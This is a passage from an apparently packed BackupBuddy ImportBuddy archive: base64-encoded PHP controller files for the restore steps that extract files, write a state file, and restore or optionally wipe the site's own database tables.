2t1cCBaSVAgZmlsZSBhbmQgY2hvb3NlIHRvICJTa2lwIEZpbGUgRXh0cmFjdGlvbiIgZnJvbSB0aGUgYWR2YW5jZWQgb3B0aW9ucyBvbiBTdGVwIDEuIERldGFpbHM6ICcgLiAkcmVzdG9yZS0+Z2V0RXJyb3JzKCksIHRydWUsICc5MDA1JyApOwoKCX0gZWxzZSB7IC8vIFVuemlwIHN1Y2Nlc3MuCgoJCWVjaG8gIjxzY3JpcHQ+YmJfYWN0aW9uKCAndW56aXBTdWNjZXNzJyApOzwvc2NyaXB0PiI7CgoJCWlmICggZmFsc2UgPT09ICRyZXN0b3JlLT5fc3RhdGVbJ3Jlc3RvcmVGaWxlcyddICkgeyAvLyBTa2lwIHJlc3RvcmluZyBmaWxlcy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnU0tJUFBJTkcgcmVzdG9yZSBvZiBmaWxlcyBiYXNlZCBvbiBzZXR0aW5ncyBmcm9tIFN0ZXAgMS4nICk7CgkJCWVjaG8gIjxzY3JpcHQ+YmJfYWN0aW9uKCAnZmlsZXNSZXN0b3JlU2tpcHBlZCcgKTs8L3NjcmlwdD4iOwoJCX0gZWxzZSB7IC8vIFVuemlwIGFsbCBmaWxlcyBhbmQvb3IgZGF0YWJhc2Ugc3FsIGZpbGVzLgoJCQllY2hvICI8c2NyaXB0PmJiX2FjdGlvbiggJ2ZpbGVzUmVzdG9yZVN1Y2Nlc3MnICk7PC9zY3JpcHQ+IjsKCQl9CgoJfQoKfSBlbHNlIHsKCSRyZXN1bHRzID0gdHJ1ZTsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NvbXBsZXRlbHkgc2tpcHBpbmcgQUxMIGZpbGUgZXh0cmFjdGlvbiBiYXNlZCBvbiBza2lwVW56aXAgYWR2YW5jZWQgc2V0dGluZy4nICk7CgllY2hvICI8c2NyaXB0PmJiX2FjdGlvbiggJ2ZpbGVzUmVzdG9yZVNraXBwZWQnICk7PC9zY3JpcHQ+IjsKfQoKCi8vIE9uIHVuemlwIHN1Y2Nlc3MgT1Igc2tpcHBpbmcgdW56aXAuCnBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGluZyBzdGVwIDIuJyApOwppZiAoICggZmFsc2UgPT09ICRyZXN0b3JlLT5fc3RhdGVbJ3Jlc3RvcmVGaWxlcyddICkgfHwgKCB0cnVlID09PSAkcmVzdWx0cyApICkgewoJJHJlc3RvcmUtPnJlbmFtZUh0YWNjZXNzVGVtcCgpOyAvLyBSZW5hbWUgLmh0YWNjZXNzIHRvIC5odGFjY2Vzcy5iYl90ZW1wIHVudGlsIGVuZCBvZiBtaWdyYXRpb24uCgkvL3NsZWVwKDEpOyAvLyBHaXZlIHRpbWUgZm9yIGZpbGUgcmVuYW1lPwoJJHJlc3RvcmUtPmRldGVybWluZURhdGFiYXNlRmlsZXMoKTsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Fib3V0IHRvIGxvYWQgU3RlcCAzLicgKTsKCT8+Cgk8c2NyaXB0PgoJCXNldFRpbWVvdXQoIGZ1bmN0aW9uKCl7CgkJCXBhZ2VUaXRsZSggJ1N0ZXAgMzogRGF0YWJhc2UgU2V0dGluZ3MnICk7CgkJCWJiX3Nob3dTdGVwKCAnZGF0YWJhc2VTZXR0aW5ncycsIDw/cGhwIGVjaG8ganNvbl9lbmNvZGUoICRyZXN0b3JlLT5fc3RhdGUgKTsgPz4gKTsKCQl9LCAyMDAwKTsKCTwvc2NyaXB0PgoJPD9waHAKfQoKCmVjaG8gJzxzY3JpcHQ+TlByb2dyZXNzLmRvbmUoKTs8L3NjcmlwdD4nOwoKCi8vIExvYWQgZm9vdGVyLgpwYl9iYWNrdXBidWRkeTo6bG9hZF92aWV3KCAnX2lmcmFtZV9mb290ZXInKTsKCi8vIERlcGxveW1lbnQgcHJvY2VlZC4KaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7CgkkZGVwbG95TW9kZU9uID0gJzEnOwoJJG5leHRTdGVwTnVtID0gNDsKCWVjaG8gJzwhLS0gQVVUT1BST0NFRUQgVE8gU1RFUCAnIC4gJG5leHRTdGVwTnVtIC4gJyAtLT4nOwoKCS8vIFdyaXRlIGRlZmF1bHQgc3RhdGUgb3ZlcnJpZGVzLgoJZ2xvYmFsICRpbXBvcnRidWRkeV9maWxlOwoJJGltcG9ydEZpbGVTZXJpYWwgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGltcG9ydGJ1ZGR5X2ZpbGUgKTsKCSRzdGF0ZV9maWxlID0gQUJTUEFUSCAuICdpbXBvcnRidWRkeS0nIC4gJGltcG9ydEZpbGVTZXJpYWwgLiAnLXN0YXRlLnBocCc7CglwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdXcml0aW5nIHRvIHN0YXRlIGZpbGUgYCcgLiAkc3RhdGVfZmlsZSAuICdgLicgKTsKCWlmICggZmFsc2UgPT09ICggJGZpbGVfaGFuZGxlID0gQGZvcGVuKCAkc3RhdGVfZmlsZSwgJ3cnICkgKSApIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnRXJyb3IgIzMyODkzNzogVGVtcCBzdGF0ZSBmaWxlIGlzIG5vdCBjcmVhdGFibGUvd3JpdGFibGUuIENoZWNrIHlvdXIgcGVybWlzc2lvbnMuICgnIC4gJHN0YXRlX2ZpbGUgLiAnKScgKTsKCQlyZXR1cm4gZmFsc2U7Cgl9CglpZiAoIGZhbHNlID09PSBmd3JpdGUoICRmaWxlX2hhbmRsZSwgIjw/cGhwIGRpZSgnQWNjZXNzIERlbmllZC4nKTsgLy8gPCEtLSA/PlxuIiAuIGJhc2U2NF9lbmNvZGUoIGpzb25fZW5jb2RlKCAkcmVzdG9yZS0+X3N0YXRlICkgKSApICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdFcnJvciAjMjM4OTM3MzogVW5hYmxlIHRvIHdyaXRlIHRvIHN0YXRlIGZpbGUuJyApOwoJfSBlbHNlIHsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdXcm90ZSB0byBzdGF0ZSBmaWxlLicgKTsKCX0KCWZjbG9zZSggJGZpbGVfaGFuZGxlICk7Cgk/PgoJPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ij9hamF4PTw/cGhwIGVjaG8gJG5leHRTdGVwTnVtOyA/PiZ2PTw/cGhwIGVjaG8gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICd2JyApOyA/PiZkZXBsb3k9dHJ1ZSZkaXJlY3Rpb249PD9waHAgZWNobyBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RpcmVjdGlvbicgKTsgPz4mZGlzcGxheV9tb2RlPWVtYmVkIiBpZD0iZGVwbG95LWF1dG9Qcm9jZWVkIj4KCQk8IS0tIGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVzdG9yZURhdGEiIHZhbHVlPSI8P3BocCAvL2VjaG8gYmFzZTY0X2VuY29kZSggdXJsZW5jb2RlKCBqc29uX2VuY29kZSggJHJlc3RvcmUtPl9zdGF0ZSApICkgKTsgPz4iIC0tPgoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im15LXN1Ym1pdCIgdmFsdWU9Ik5leHQgU3RlcCIgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsiPgoJPC9mb3JtPgoJPHNjcmlwdD5qUXVlcnkoICcjZGVwbG95LWF1dG9Qcm9jZWVkJyApLnN1Ym1pdCgpOzwvc2NyaXB0PgoJPD9waHAKfSBlbHNlIHsKCSRkZXBsb3lNb2RlT24gPSAnMCc7Cn0KCnBiX2JhY2t1cGJ1ZGR5OjpmbHVzaCgpOwokaW5fcGFnZSA9IHRydWU7Cg==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/controllers/ajax/2.php,importbuddy/controllers/ajax/2.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/controllers/ajax/4.php,importbuddy/controllers/ajax/4.php
PD9waHAKaWYgKCAhIGRlZmluZWQoICdQQl9JTVBPUlRCVUREWScgKSB8fCAoIHRydWUgIT09IFBCX0lNUE9SVEJVRERZICkgKSB7CglkaWUoICc8aHRtbD48L2h0bWw+JyApOwp9CkF1dGg6OnJlcXVpcmVfYXV0aGVudGljYXRpb24oKTsgLy8gRGllIGlmIG5vdCBsb2dnZWQgaW4uCnBiX2JhY2t1cGJ1ZGR5Ojpsb2FkX3ZpZXcoICdfaWZyYW1lX2hlYWRlcicpOwpwYl9iYWNrdXBidWRkeTo6c2V0X2dyZWVkeV9zY3JpcHRfbGltaXRzKCk7CmVjaG8gIjxzY3JpcHQ+cGFnZVRpdGxlKCAnU3RlcCA0OiBSZXN0b3JpbmcgRGF0YWJhc2UnICk7PC9zY3JpcHQ+IjsKcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBzdGVwIDQuJyApOwpwYl9iYWNrdXBidWRkeTo6Zmx1c2goKTsKCmdsb2JhbCAkd3BkYjsKCgppZiAoICd0cnVlJyAhPSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RlcGxveScgKSApIHsgLy8gZGVwbG95bWVudCBtb2RlIHByZS1sb2FkcyBzdGF0ZSBkYXRhIGluIGEgZmlsZSBpbnN0ZWFkIG9mIHBhc3NpbmcgdmlhIHBvc3QuCgkvLyBQYXJzZSBzdWJtaXR0ZWQgcmVzdG9yZURhdGEgcmVzdG9yZSBzdGF0ZSBmcm9tIHByZXZpb3VzIHN0ZXAuCgkkcmVzdG9yZURhdGEgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKTsKCQoJCgkvLyBEZWNvZGUgc3VibWl0dGVkIGRhdGEsIHJlcG9ydGluZyBkZXRhaWxzIG9uIGZhaWx1cmUuCgkkZGVjb2RlRmFpbFJlYXNvbiA9ICcnOwoJaWYgKCBmYWxzZSA9PT0gKCAkcmVzdG9yZURhdGEgPSBiYXNlNjRfZGVjb2RlKCAkcmVzdG9yZURhdGEgKSApICkgeyAvLyBmYWxzZSBpZiBmYWlsZWQKCQkkZGVjb2RlRmFpbFJlYXNvbiA9ICdFUlJPUiAjODM4OTNiOiBSZXN0b3JlIGhhbHRlZC4gVW5hYmxlIHRvIGJhc2U2NF9kZWNvZGUoKSBzdWJtaXR0ZWQgZm9ybSBkYXRhIGAnIC4gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKSApIC4gJ2AuJzsKCX0gZWxzZSB7IC8vIFN1Y2Nlc3MuCgkJJHJlc3RvcmVEYXRhID0gdXJsZGVjb2RlKCAkcmVzdG9yZURhdGEgKTsKCQlpZiAoIG51bGwgPT09ICggJHJlc3RvcmVEYXRhID0ganNvbl9kZWNvZGUoICRyZXN0b3JlRGF0YSwgdHJ1ZSApICkgKSB7IC8vIG51bGwgaWYgZmFpbGVkCgkJCSRtZXNzYWdlID0gJ0VSUk9SICM4Mzg5M2E6IFJlc3RvcmUgaGFsdGVkLiBVbmFibGUgdG8gZGVjb2RlIEpTT04gcmVzdG9yZSBiYXNlNjQgZGVjb2RlZCBkYXRhIGAnIC4gaHRtbGVudGl0aWVzKCBiYXNlNjRfZGVjb2RlKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKSApICkgLiAnYC4gQmVmb3JlIGJhc2U2NCBkZWNvZGU6IGAnIC4gaHRtbGVudGl0aWVzKCBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICdyZXN0b3JlRGF0YScgKSApIC4gJ2AuIChOb3RlOiBBIGN1c3RvbWVyIGhhcyByZXBvcnRlZCBydW5uaW5nIG91dCBvZiBkaXNrIHNwYWNlIGFzIGEgcG9zc2libGUgY2F1c2UuIFRoaXMgaXMgbm90IGNvbmZpcm1lZCBidXQgY291bGQgYmUgdXNlZnVsIHRvIGNoZWNrLiknOwoJCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ2pzb25fbGFzdF9lcnJvcicgKSApIHsKCQkgCQkkbWVzc2FnZSAuPSAnIGpzb25fbGFzdF9lcnJvcjogYCcgLiBqc29uX2xhc3RfZXJyb3IoKSAuICdgLic7CgkJIAl9CgkJIAkkZGVjb2RlRmFpbFJlYXNvbiA9ICRtZXNzYWdlOwoJCX0gZWxzZSB7IC8vIFN1Y2Nlc3MuCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N1Y2Nlc3MgZGVjb2Rpbmcgc3VibWl0dGVkIGVuY29kZWQgZGF0YS4nICk7CgkJfQoJfQoJLy8gUmVwb3J0IGZhaWx1cmUgYW5kIGZhdGFsbHkgaGFsdC4KCWlmICggJycgIT09ICRkZWNvZGVGYWlsUmVhc29uICkgewoJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJG1lc3NhZ2UgKTsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkbWVzc2FnZSApOwoJCWRpZSgpOwoJfQoJCgkKfSBlbHNlIHsKCWlmICggaXNzZXQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApICYmICggY291bnQoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGVmYXVsdF9zdGF0ZV9vdmVycmlkZXMnXSApID4gMCApICkgeyAvLyBEZWZhdWx0IHN0YXRlIG92ZXJyaWRlcyBleGlzdC4gQXBwbHkgdGhlbS4KCQkkcmVzdG9yZURhdGEgPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2RlZmF1bHRfc3RhdGVfb3ZlcnJpZGVzJ107Cgl9IGVsc2UgewoJCWRpZSggJ0Vycm9yICM0NjQzMjI1OiBNaXNzaW5nIGV4cGVjdGVkIGRlZmF1bHQgc3RhdGUgb3ZlcnJpZGUuJyApOwoJfQp9CgoKLy8gSW5zdGFudGlhdGUgcmVzdG9yZSBjbGFzcy4KcmVxdWlyZV9vbmNlKCBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3BhdGgoKSAuICcvY2xhc3Nlcy9yZXN0b3JlLnBocCcgKTsKJHJlc3RvcmUgPSBuZXcgYmFja3VwYnVkZHlfcmVzdG9yZSggJ3Jlc3RvcmUnLCAkcmVzdG9yZURhdGEgKTsKdW5zZXQoICRyZXN0b3JlRGF0YSApOyAvLyBBY2Nlc3MgdmlhICRyZXN0b3JlLT5fc3RhdGUgdG8gbWFrZSBzdXJlIGl0IGlzIGFsd2F5cyB1cCB0byBkYXRlLgoKCmlmICggZmFsc2UgPT09ICRyZXN0b3JlLT5fc3RhdGVbJ3Jlc3RvcmVEYXRhYmFzZSddICkgewoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgcmVzdG9yZSBTS0lQUEVEIGJhc2VkIG9uIFN0ZXAgMSBzZXR0aW5ncy4nICk7CgllY2hvICI8c2NyaXB0PmJiX2FjdGlvbiggJ2RhdGFiYXNlUmVzdG9yZVNraXBwZWQnICk7PC9zY3JpcHQ+IjsKfSBlbHNlIHsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0Nvbm5lY3RpbmcgdG8gZGF0YWJhc2UuJyApOwoJCgkvLyBDb25uZWN0IEltcG9ydEJ1ZGR5IHRvIHRoZSBkYXRhYmFzZSB3aXRoIHRoZXNlIHNldHRpbmdzLgoJJHJlc3RvcmUtPmNvbm5lY3REYXRhYmFzZSgpOwoJCgkKCS8vIENBVVRJT046IFdpcGUgZGF0YWJhc2UgdGFibGVzIHdpdGggbWF0Y2hpbmcgcHJlZml4IGlmIG9wdGlvbiB3YXMgc2VsZWN0ZWQuCglpZiAoIFRSVUUgPT09ICRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsnd2lwZVByZWZpeCddICkgewoJCWlmICggKCAhIGlzc2V0KCAkcmVzdG9yZS0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydFJlc3VtZUZpbGVzJ10gKSApICYmICggJycgPT0gJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVQb2ludCddICkgKSB7IC8vIE9ubHkgZG8gdGhpcyBpZiBub3QgaW4gcHJvY2VzcyBvZiByZXN1bWluZy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnV2lwaW5nIGV4aXN0aW5nIGRhdGFiYXNlIHRhYmxlcyB3aXRoIHRoZSBwcmVmaXggYCcgLiAgJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydwcmVmaXgnXSAuICdgIGJhc2VkIG9uIHNldHRpbmdzLi4uJyApOwoJCQlpZiAoIFRSVUUgIT09IHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snaW1wb3J0J10tPndpcGVQcmVmaXgoICRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncHJlZml4J10sIFRSVUUgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdVbmFibGUgdG8gd2lwZSBkYXRhYmFzZSB0YWJsZXMgbWF0Y2hpbmcgcHJlZml4LicgKTsKCQkJfQoJCX0KCX0KCQoJCgkvLyBEQU5HRVI6IFdpcGUgZGF0YWJhc2Ugb2YgQUxMIFRBQkxFUyBpZiBvcHRpb24gd2FzIHNlbGVjdGVkLgoJaWYgKCBUUlVFID09PSAkcmVzdG9yZS0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ3dpcGVEYXRhYmFzZSddICkgewoJCWlmICggKCAhIGlzc2V0KCAkcmVzdG9yZS0+X3N0YXRlWydkYXRhYmFzZVNldHRpbmdzJ11bJ2ltcG9ydFJlc3VtZUZpbGVzJ10gKSApICYmICggJycgPT0gJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWydpbXBvcnRSZXN1bWVQb2ludCddICkgKSB7IC8vIE9ubHkgZG8gdGhpcyBpZiBub3QgaW4gcHJvY2VzcyBvZiByZXN1bWluZy4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnV2lwaW5nIEFMTCBleGlzdGluZyBkYXRhYmFzZSB0YWJsZXMgYmFzZWQgb24gc2V0dGluZ3MgKHVzZSB3aXRoIGNhdXRpb24pLi4uJyApOwoJCQlpZiAoIFRSVUUgIT09IHBiX2JhY2t1cGJ1ZGR5OjokY2xhc3Nlc1snaW1wb3J0J10tPndpcGVEYXRhYmFzZSggVFJVRSApICkgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1VuYWJsZSB0byB3aXBlIGVudGlyZSBkYXRhYmFzZSBhcyBjb25maWd1cmVkIGluIHRoZSBzZXR0aW5ncy4nICk7CgkJCX0KCQl9Cgl9CgkKCQoJLy8gUmVzdG9yZSB0aGUgZGF0YWJhc2UuCglpZiAoICd0cnVlJyA9PSBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ2RlcGxveScgKSApIHsKCQkvLyBEcm9wIGFueSBwcmV2aW91cyBpbmNvbXBsZXRlIGRlcGxveW1lbnQgLyByb2xsYmFjayB0YWJsZXMuCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRHJvcHBpbmcgYW55IGV4aXN0aW5nIHRlbXBvcmFyeSBkZXBsb3ltZW50IG9yIHJvbGxiYWNrIHRhYmxlcy4nICk7CgkJCgkJJHJlc3VsdHMgPSAkd3BkYi0+Z2V0X3Jlc3VsdHMoICJTRUxFQ1QgdGFibGVfbmFtZSBBUyBgdGFibGVfbmFtZWAgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFICggKCB0YWJsZV9uYW1lIExJS0UgJ2JibmV3LVxfJScgKSBPUiAoIHRhYmxlX25hbWUgTElLRSAnYmJvbGQtXF8lJyApICkgQU5EIHRhYmxlX3NjaGVtYSA9IERBVEFCQVNFKCkiLCBBUlJBWV9BICk7CgkJaWYgKCBjb3VudCggJHJlc3VsdHMgKSA+IDAgKSB7CgkJCWZvcmVhY2goICRyZXN1bHRzIGFzICRyZXN1bHQgKSB7CgkJCQlpZiAoIGZhbHNlID09PSAkd3BkYi0+cXVlcnkoICJEUk9QIFRBQkxFIGAiIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRyZXN1bHRbJ3RhYmxlX25hbWUnXSApIC4gImAiICkgKSB7CgkJCQkJcmV0dXJuICR0aGlzLT5fZXJyb3IoICdFcnJvciAjMzcyODM3NjgzOiBVbmFibGUgdG8gY29weSBvdmVyIEJhY2t1cEJ1ZGR5IHNldHRpbmdzIGZyb20gbGl2ZSBzaXRlIHRvIGluY29taW5nIGRhdGFiYXNlIGluIHRlbXAgdGFibGUuIERldGFpbHM6IGAnIC4gJHdwZGItPmxhc3RfZXJyb3IgLiAnYC4nICk7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRXJyb3IgIzg0OTM5ODQ6IFVuYWJsZSB0byBkcm9wIHRlbXAgcm9sbGJhY2svZGVwbG95IHRhYmxlIGAnIC4gJHJlc3VsdFsndGFibGVfbmFtZSddIC4gJ2AuIERldGFpbHM6IGAnIC4gJHdwZGItPmxhc3RfZXJyb3IgLiAnYC4nICk7CgkJCQl9CgkJCX0KCQl9CgkJCgkJJHJlc3RvcmUtPl9zdGF0ZVsnZGF0YWJhc2VTZXR0aW5ncyddWyd0ZW1wUHJlZml4J10gPSAnYmJuZXctJyAuIHN1YnN0ciggJHJlc3RvcmUtPl9zdGF0ZVsnc2VyaWFsJ10sIDAsIDQgKSAuICdfJyAuICRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsncHJlZml4J107Cgl9CgkKCQoJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnQWJvdXQgdG8gcmVzdG9yZSBkYXRhYmFzZS4nICk7CgkkcmVzdG9yZVJlc3VsdCA9ICRyZXN0b3JlLT5yZXN0b3JlRGF0YWJhc2UoICRyZXN0b3JlLT5fc3RhdGVbJ2RhdGFiYXNlU2V0dGluZ3MnXVsndGVtcFByZWZpeCddICk7CgkKCQoJaWYgKCAndHJ1ZScgPT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7CgkJCgkJaWYgKCBpc19hcnJheSggJHJlc3RvcmVSZXN1bHQgKSApIHsgLy8gQ2h1bmtpbmcuIFJlc3VtZSBzYW1lIHN0ZXAuCgkJCSRuZXh0U3RlcE51bSA9IDQ7CgkJfSBlbHNlIHsgLy8gTmV4dCBzdGVwLgoJCQkkbmV4dFN0ZXBOdW0gPSA1OwoJCX0KCQllY2hvICc8IS0tIEFVVE9QUk9DRUVEIFRPIFNURVAgJyAuICRuZXh0U3RlcE51bSAuICcgLS0+JzsKCQkKCQkKCQkvLyBXcml0ZSBkZWZhdWx0IHN0YXRlIG92ZXJyaWRlcy4KCQlnbG9iYWwgJGltcG9ydGJ1ZGR5X2ZpbGU7CgkJJGltcG9ydEZpbGVTZXJpYWwgPSBiYWNrdXBidWRkeV9jb3JlOjpnZXRfc2VyaWFsX2Zyb21fZmlsZSggJGltcG9ydGJ1ZGR5X2ZpbGUgKTsKCQkkc3RhdGVfZmlsZSA9IEFCU1BBVEggLiAnaW1wb3J0YnVkZHktJyAuICRpbXBvcnRGaWxlU2VyaWFsIC4gJy1zdGF0ZS5waHAnOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1dyaXRpbmcgdG8gc3RhdGUgZmlsZSBgJyAuICRzdGF0ZV9maWxlIC4gJ2AuJyApOwoJCWlmICggZmFsc2UgPT09ICggJGZpbGVfaGFuZGxlID0gQGZvcGVuKCAkc3RhdGVfZmlsZSwgJ3cnICkgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICMyODM0NjQ6IFRlbXAgc3RhdGUgZmlsZSBpcyBub3QgY3JlYXRhYmxlL3dyaXRhYmxlLiBDaGVjayB5b3VyIHBlcm1pc3Npb25zLiAoJyAuICRzdGF0ZV9maWxlIC4gJyknICk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJaWYgKCBmYWxzZSA9PT0gZndyaXRlKCAkZmlsZV9oYW5kbGUsICI8P3BocCBkaWUoJ0FjY2VzcyBEZW5pZWQuJyk7IC8vIDwhLS0gPz5cbiIgLiBiYXNlNjRfZW5jb2RlKCBqc29uX2VuY29kZSggJHJlc3RvcmUtPl9zdGF0ZSApICkgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICMyMzg5MzczOiBVbmFibGUgdG8gd3JpdGUgdG8gc3RhdGUgZmlsZS4nICk7CgkJfSBlbHNlIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnV3JvdGUgdG8gc3RhdGUgZmlsZS4nICk7CgkJfQoJCWZjbG9zZSggJGZpbGVfaGFuZGxlICk7CgkJPz4KCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2FqYXg9PD9waHAgZWNobyAkbmV4dFN0ZXBOdW07ID8+JnY9PD9waHAgZWNobyBwYl9iYWNrdXBidWRkeTo6X0dFVCggJ3YnICk7ID8+JmRlcGxveT10cnVlJmRpcmVjdGlvbj08P3BocCBlY2hvIHBiX2JhY2t1cGJ1ZGR5OjpfR0VUKCAnZGlyZWN0aW9uJyApOyA/PiZkaXNwbGF5X21vZGU9ZW1iZWQiIGlkPSJkZXBsb3ktYXV0b1Byb2NlZWQiPgoJCQk8IS0tIGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVzdG9yZURhdGEiIHZhbHVlPSI8P3BocCAvL2VjaG8gYmFzZTY0X2VuY29kZSggdXJsZW5jb2RlKCBqc29uX2VuY29kZSggJHJlc3RvcmUtPl9zdGF0ZSApICkgKTsgPz4iIC0tPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJteS1zdWJtaXQiIHZhbHVlPSJOZXh0IFN0ZXAiIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47Ij4KCQk8L2Zvcm0+CgkJPHNjcmlwdD5qUXVlcnkoICcjZGVwbG95LWF1dG9Qcm9jZWVkJyApLnN1Ym1pdCgpOzwvc2NyaXB0PgoJCTw/cGhwCgkJCgl9IGVsc2UgeyAvLyBOb3JtYWwgaW1wb3J0LgoJCQoJCWlmICggVFJVRSAhPT0gJHJlc3RvcmVSZXN1bHQgKSB7CgkJCWlmICggaXNfYXJyYXkoICRyZXN0b3JlUmVzdWx0ICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEYXRhYmFzZSByZXN0b3JlIGRpZCBub3QgZnVsbHkgY29tcGxldGUgdGhpcyBwYXNzLiBDaHVua2luZyBpbiBwcm9ncmVzcy4gUmVzdW1pbmcgd2hlcmUgbGVmdCBvZmYuIElmIHRoZSBwcm9jZXNzIGRvZXMgbm90IHByb2NlZWQgY2hlY2sgeW91ciBicm93c2VyIGVycm9yIGNvbnNvbGUgb3IgUEhQIGVycm9yIGxvZy4nICk7CgkJCQk/PgoKCQkJCTxmb3JtIGlkPSJyZXN0b3JlQ2h1bmtGb3JtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iP2FqYXg9NCI+CgkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVzdG9yZURhdGEiIHZhbHVlPSI8P3BocCBlY2hvIGJhc2U2NF9lbmNvZGUoIHVybGVuY29kZSgganNvbl9lbmNvZGUoICRyZXN0b3JlLT5fc3RhdGUgKSApICk7ID8+Ij4KCQkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRGb3JtIiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IiB2YWx1ZT0iTmV4dCBTdGVwIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgoJCQkJPC9mb3JtPgoJCQkJPHNjcmlwdD4KCQkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewoJCQkJCQlqUXVlcnkoICcjcmVzdG9yZUNodW5rRm9ybScgKS5zdWJtaXQoKTsKCQkJCQl9KTsKCQkJCTwvc2NyaXB0PgoJCQk8P3BocAoJCQl9IGVsc2UgewoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yIHJlc3RvcmluZyBkYXRhYmFzZS4gU2VlIHN0YXR1cyBsb2cgZm9yIG